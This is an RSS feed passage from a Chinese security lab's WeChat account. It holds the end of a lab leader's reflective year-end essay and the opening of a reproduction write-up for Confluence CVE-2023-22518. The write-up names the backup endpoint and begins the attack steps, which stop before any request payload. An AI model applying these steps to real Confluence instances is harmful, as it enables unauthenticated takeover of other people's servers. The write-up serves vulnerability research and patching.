11pt;letter-spacing: 0pt;">不瞒大家说，当初看vulcan的人在pwn2own举杯的时候我是真羡慕，orange在bh演讲的web2pwn漏洞，也让我跃跃欲试。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">所以最初给实验室定的目标就很高，当然公司可能没定这么高的目标，但是我心里是这么想的。</span></p><p><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;"></span><span style="text-wrap: wrap;font-family: 等线;font-size: 15px;color: rgb(51, 51, 51);letter-spacing: 0pt;"> 一</span><span style="font-size: 15px;letter-spacing: 0.034em;"><span style="text-wrap: wrap;font-size: 15px;letter-spacing: 0.034em;">、</span><span style="text-wrap: wrap;font-family: 等线;font-size: 15px;color: rgb(51, 51, 51);letter-spacing: 0pt;">组队，就要谈条件</span></span></p><p><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">    对于一家传统的安全公司，“天才少年”可能不符合他的认知。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">最开始的时候就要和人力、业务部门持续</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">的</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">battle。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">到新公司，如果跟别人抢业务，那必不可少的会发生冲突，不过这事我有经验。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">开创一个新的业务，就不会有人跟你抢。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">在这个时期，我梳理了公司的问题，发现威胁情报可以做</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">其实这可以作为一个空降兵的行动指南，作为一个业务空降兵如何在短时间站稳脚步，可以找找依靠三方又很重要的业务，快速复制三方业务，替换三方可以出成绩。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">当然，这东西我一个人做不了，拉来了专业做威胁情报的2ero、lemon一起来<span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 14.6667px;letter-spacing: normal;text-wrap: wrap;">。</span></span></p><p><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">    </span><span data-font-family="default" style="font-family: 等线;text-indent: 2em;font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;">当然，谈条件除了要业务突出，还得让其他部门闭嘴。安全公司就是拼安全能力，这事有点因果颠倒，你技术牛，你能谈条件，但是没条件，又招不到技术牛的，容易陷入死循环。幸好当时有key、l1nk3r来帮助我，通过几次对比，成功让</span><span data-font-family="default" style="font-family: 等线;text-indent: 2em;font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;">其他部门闭嘴</span><span data-font-family="default" style="font-family: 等线;text-indent: 2em;font-size: 11pt;color: rgb(51, 51, 51);letter-spacing: 0pt;vertical-align: baseline;">。也为以后谈条件打下了良好的基础。</span></p><p><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">    能谈条件了，人员招聘也灵活了起来。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">研究的顺利开展，完全就是建立在支持的基础之上的。话语权重了，</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">也可以让有能力的人内部转岗，飞飞就是这个时候来的。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">最近我又思考了一下，传统的人员招聘基本看不出来一个人的水平，一起共事过可能会好很多。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">下一步，元亨也会开展各类活动，让更多的人一起共事，这样才能发现更多的人才。</span></p><p><span style="text-wrap: wrap;font-family: 等线;font-size: 15px;color: rgb(51, 51, 51);letter-spacing: 0pt;">二、统一目标</span></p><p><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    现在很多小朋友，都不喜欢搞攻防演练攻击队，谈演练色变，大部分跳槽的人跟我说，千万不要让他做攻击队。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">这个问题其实我内心也是很矛盾的，在各个公司高层看来，养了一堆搞研究的，让你去打攻防怎么就不行了。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">可笑的是，很多公司的高层完全不明白，我们这个行业是分工种的，你让一个做pwn的人做渗透，那他肯定非常难受。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">正因为业内这种涸泽而渔式的工作方法，让做攻防的苦不堪言。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">从我的角度来讲，更倾向研究员做纯研究。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">从公司，从出钱的人的角度来看，我养你就是为了干活的，我让你干活你不做，那养你干什么啊。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">这个问题，想了几次，得出一个结论，当年我btc卖早了，要不就能养活大家搞纯研究了。</span></p><p><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    业务目标和研究目标，需要达成某种意义上的统一。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">这就需要横向管理和向上管理、向下管理的能力。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">1. 向上管理：</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">要知道上边的目标和预期是什么，预期伴随着投入，也意味着布局，提前投入，提前收获。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">2. 横向管理：</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">要提前知道业务方明年的重点规划是啥。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">比如业务要向某个行业倾斜，那我们的研究是不是也要跟着转转。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">挖洞</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">吗</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">，目标很多，但是需要聚焦。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">3. 向下管理：</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">要知道小朋友们的诉求是什么。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">是涨薪、年终奖，还是个人职业发展的需求。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">如果让一个想做pwn的人，那他肯定难受，他难受也不会让你好受。</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    </span></p><p><span style="text-wrap: wrap;font-family: 等线;font-size: 15px;color: rgb(51, 51, 51);letter-spacing: 0pt;">三、后勤，做好支撑工作。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    这个就是我要做的事了。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">做威胁情报需要数据，那我就要做好数据支持。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">做漏洞挖掘</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">需要安装包，那我就要做好软件的采买。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">做硬件安全就需要买很多硬件，那我就要跟公司说清楚采购的必要性。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">做大模型又需要买很多显卡，那我就需要去抢资源。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">现在元亨这些资源都是足够的，就等着出成绩了。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">这些都是物质上的后勤支持，可能很多都忽视了精神上的后勤支持。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">这一点，我做</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">的</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">比较差。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    我是一个爱吐槽的人，或者是我一个东北人的缘故，很多事情在我看来，都是段子。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">万物皆可吐槽，是我的人生信条，但是这也给很多朋友产生了心理压力。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">很多时候，一个事我吐槽了，可能我觉得没什么，其他人可能就上纲上线了。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">还有，我也有情绪，有情绪倾向于不沟通，背后议论别人，这一点做</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">的</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">很差。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">lemon说我这么做容易给小朋友们搞的压力很大。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">做教练不能这么做，做领导也不能这么说。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">不过我再给自己辩解一句，有时候我吐槽的东西，第二天就忘了，以后得改改万物皆可吐槽这个问题了。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">四、让更多的人参与进来</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;text-indent: 2em;">    </span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">我们内网wiki里都是实验室各位同仁写的文章，文章也都有署名，如果这个人离职了，我们也不会删这个人的id。本来这个行业人就少，相聚就是缘分。百年以后，只有这些数据曾经证明我们来过。思想永存，精神永存。回到安装包这个问题，大家都知道我手上资源多，很多朋友也找我。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">    我就在想一个问题，要不要弄一个元亨基金。</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">帮助大家</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">做好</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">研究支撑工作，可能钱也不多，</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">刚刚好，</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">正好够研究的开展。我们一起搞点论文，搞点议题，搞点事情。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;"></span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">    还有就是，要不要弄一个元亨杯安全</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">竞赛，</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">正如之前我说的，</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">常规的面试并不能</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">发现</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">一个人的优点，我们</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">需要通过实际的</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">情况去</span><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">判断一个人适合什么工作。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">    安全行业的蓬勃发展，有赖于大家勇于试错，这是一个需要反复试错的行业，试错就意味着要犯错，但是犯错又和我们传统的观念不同，我们可能认为犯错就是一件不好的事。这次，元亨会给大家犯错的机会，让更多的人参与进来。</span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 11pt;letter-spacing: 0pt;">最后，</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;">感谢实验室全体员工，不管是离职的、在职的还是回学校的，按照加入的顺序：2ero、飞飞、key、lemon、<span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 14.6667px;letter-spacing: normal;text-indent: 29.3333px;text-wrap: wrap;">l1nk3r、blckder02、佳禾、翼鼎、祝、depy、Taaaaarn、Disap、Oo。</span>感谢大家，对我的支持。我们2024年，继续冲。</span><span style="font-family: 等线;font-size: 12pt;letter-spacing: 0.034em;"></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488273">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c5230f8c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488273%26idx%3D1%26sn%3D465105060578cbbbbcfe83b4dce9830d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 13 Dec 2023 22:49:00 +0800</pubDate>
    </item>
    <item>
      <title>Confluence 数据中心和服务器中的不当授权漏洞（CVE-2023-22518）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488268&amp;idx=1&amp;sn=682de0bdb4105631f83f79da1af4a1c6</link>
      <description>此不当授权漏洞允许未经身份验证的攻击者重置 Confluence 并创建 Confluence 实例管理员帐户。使用此帐户，攻击者可以执行 Confluence 实例管理员可用的所有管理操作，从而导致机密性、完整性和可用性完全丧失。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2023-12-06 17:16</span> <span style="display: inline-block;">浙江</span>
</p>

<p>此不当授权漏洞允许未经身份验证的攻击者重置 Confluence 并创建 Confluence 实例管理员帐户。使用此帐户，攻击者可以执行 Confluence 实例管理员可用的所有管理操作，从而导致机密性、完整性和可用性完全丧失。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7b0d9a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9B0e348zibv3A2vfCGBV6G2NNV8tODYNAz7OkMS6h3CuGc3jNbxwJaGA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;text-align: left;">1. 前言</span><br/></p><p style="text-align: left;margin-bottom: 0px;"><span style="letter-spacing: 0.544px;background-color: rgb(232, 236, 233);color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;"></span></p><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><br/></span></span><span style="color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html" target="_blank">https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html</a></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;"> ：</span></strong><span style="font-size: 18px;"><span style="font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"> 此不当授权漏洞允许未经身份验证的攻击者重置 Confluence 并创建 Confluence 实例管理员帐户。使用此帐户，攻击者可以执行 Confluence 实例管理员可用的所有管理操作，从而导致机密性、完整性和可用性完全丧失。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 简单理解就是 CVE-2023-22515 可以新建管理员账号，CVE-2023-22518 可以通过备份文件来覆盖原本的 Confluence 服务，从而使用备份文件中的账号管理服务。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">：</span></strong><span style="font-size: 18px;"><span style="font-weight: normal;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"> 修复版本8.3.4、8.4.4、8.5.3、8.6.1之前的版本均受影响。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;">2. 环境搭建</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">官网下载 8.5.2 版本：<br/>

 </span><span style="color: rgb(0, 0, 255);text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://www.atlassian.com/software/confluence/download-archives" target="_blank">https://www.atlassian.com/software/confluence/download-archives</a></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">具体安装步骤参考 <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488203&amp;idx=1&amp;sn=d26944771ae3d1815a4f793328d5e279&amp;chksm=cf8414e0f8f39df664226459c1846cf8be5e24e0fdb430f8947460116c180426637e7f8bcd9d&amp;scene=21#wechat_redirect" textvalue="CVE-2023-22515" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">CVE-2023-22515</a>，之前搭了 8.5.1 环境，直接在上面更新。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">再贴两个参考链接：</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://andblog.cn/2655" target="_blank">https://andblog.cn/2655</a><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://l4yn3.github.io/2019/04/20/Confluence-漏洞分析环境搭建/" target="_blank">https://l4yn3.github.io/2019/04/20/Confluence-漏洞分析环境搭建/</a></span></section><section style="text-align: left;text-indent: 0pt;font-size: 21.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin: 0pt;line-height: 1.6em;"><o:page></o:page></section><section style="margin-bottom: 0px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在登录状态下，访问</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/admin/backup.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，导出备份文件，此时 admin 账号的登录密码为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">confluence.</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="230" data-backw="578" data-imgfileid="100004588" data-ratio="0.3972222222222222" width="601.7100219726562" data-type="png" data-w="1080" height="239.0" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=877ce65b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9kkL5ofBwdMdrBYgM4tftuSng9wlibk4icHhBDHjeqyKkaDvnLmGBHjtA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">然后修改密码为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">password</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，以便跟恢复备份后做对比；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="230" data-backw="578" data-imgfileid="100004589" data-ratio="0.39814814814814814" width="601.7100219726562" data-type="png" data-w="1080" height="239.71002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=03d304b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9MyMtpbqcGKb8lAlGUbc5KJnVdLDuBITG11cRPnVpoIZn9Q8XORN5FA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">退出登录，用 POST 请求</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 